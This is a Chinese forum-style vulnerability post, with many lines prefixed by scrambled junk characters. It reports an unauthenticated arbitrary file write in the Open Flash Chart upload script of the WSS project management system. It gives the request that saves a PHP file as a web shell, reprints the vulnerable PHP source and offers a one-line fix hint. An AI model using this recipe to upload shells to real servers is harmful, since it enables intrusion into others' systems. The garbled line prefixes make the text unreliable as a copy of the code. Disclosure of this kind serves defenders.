WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
/ H7 s' n3 U. S$ q 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
) K& N' K6 |, S, h, Y/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
+ Z0 I% x9 [) j  B保存位置http://localhost/chart/tmp-upload-images/hfy.php
2 o5 n/ `" ?3 p( D# I1 _. S8 b2 _# j

5 M" h$ G2 S* u最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
' w7 S$ d+ i$ C& u. K( U
<?php

& A& _% T& ~0 }6 Q//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
* F, q0 X' ^2 J' |
% W' K) {' j- ~3 f7 M/*

print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );
$ F; I1 K1 C# C# u0 v
1 T* \: h, ]* ~+ ~print_r( $GLOBALS );
6 }# G9 l. M& `+ s  q  v0 z% ?print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
0 Y$ h5 L$ C8 U# W- u! l. R) L
*/
// default path for the image to be stored //
( h* F! }- O, b& s$default_path = '../tmp-upload-images/';
: {3 ~, U( K! d( [& B: y
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
' F  h; M* c& m& h
// full path to the saved image including filename //
- \0 Y1 W; O+ Z2 e$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
1 D( \4 u' D% {/ [5 w" N- u// print_r( $_POST );
5 O9 |, U% E. S// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
3 c8 w& p1 z, K+ G3 i5 f
//
// POST data is usually string data, but we are passing a RAW .png
- g0 ~; S& k4 G// so PHP is a bit confused and $_POST is empty. But it has saved
3 M; Q4 k: i# T# V// the raw bits into $HTTP_RAW_POST_DATA
//
  s* V" H- f$ L4 s( l
$jfh = fopen($destination, 'w') or die("can't open file");
8 z: n1 U; i$ t% Q2 X$ n; \fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
0 d& ~  r! j% r; }3 n: j// LOOK:
" a2 G' |1 J5 d//
exit();
//
/ @' h$ [1 f- ?; k* i, G// PHP5:
//

" G8 [. j" q" J" ?
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

( s# L7 [. Q% U# Dif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
+ H5 b5 ?* E3 s$ e# B& {if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
7 E5 H: f/ n. s1 H    echo "FILE UPLOAD FAILED";
, ]1 {( H: G8 w}
5 n% ~. K+ P5 O0 r

?>
! t! A% I2 m6 e. i; S


: n1 j! x: e: _4 A) G6 p: \/ q( Z
# U' B, }* ]  H& L+ J4 a- \+ b8 C

修复方案：
* ^/ e/ |! i& c这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

# q5 l6 w. `- G. Y- l& C/ N7 r
& U! w+ _' X. b0 K; _$ }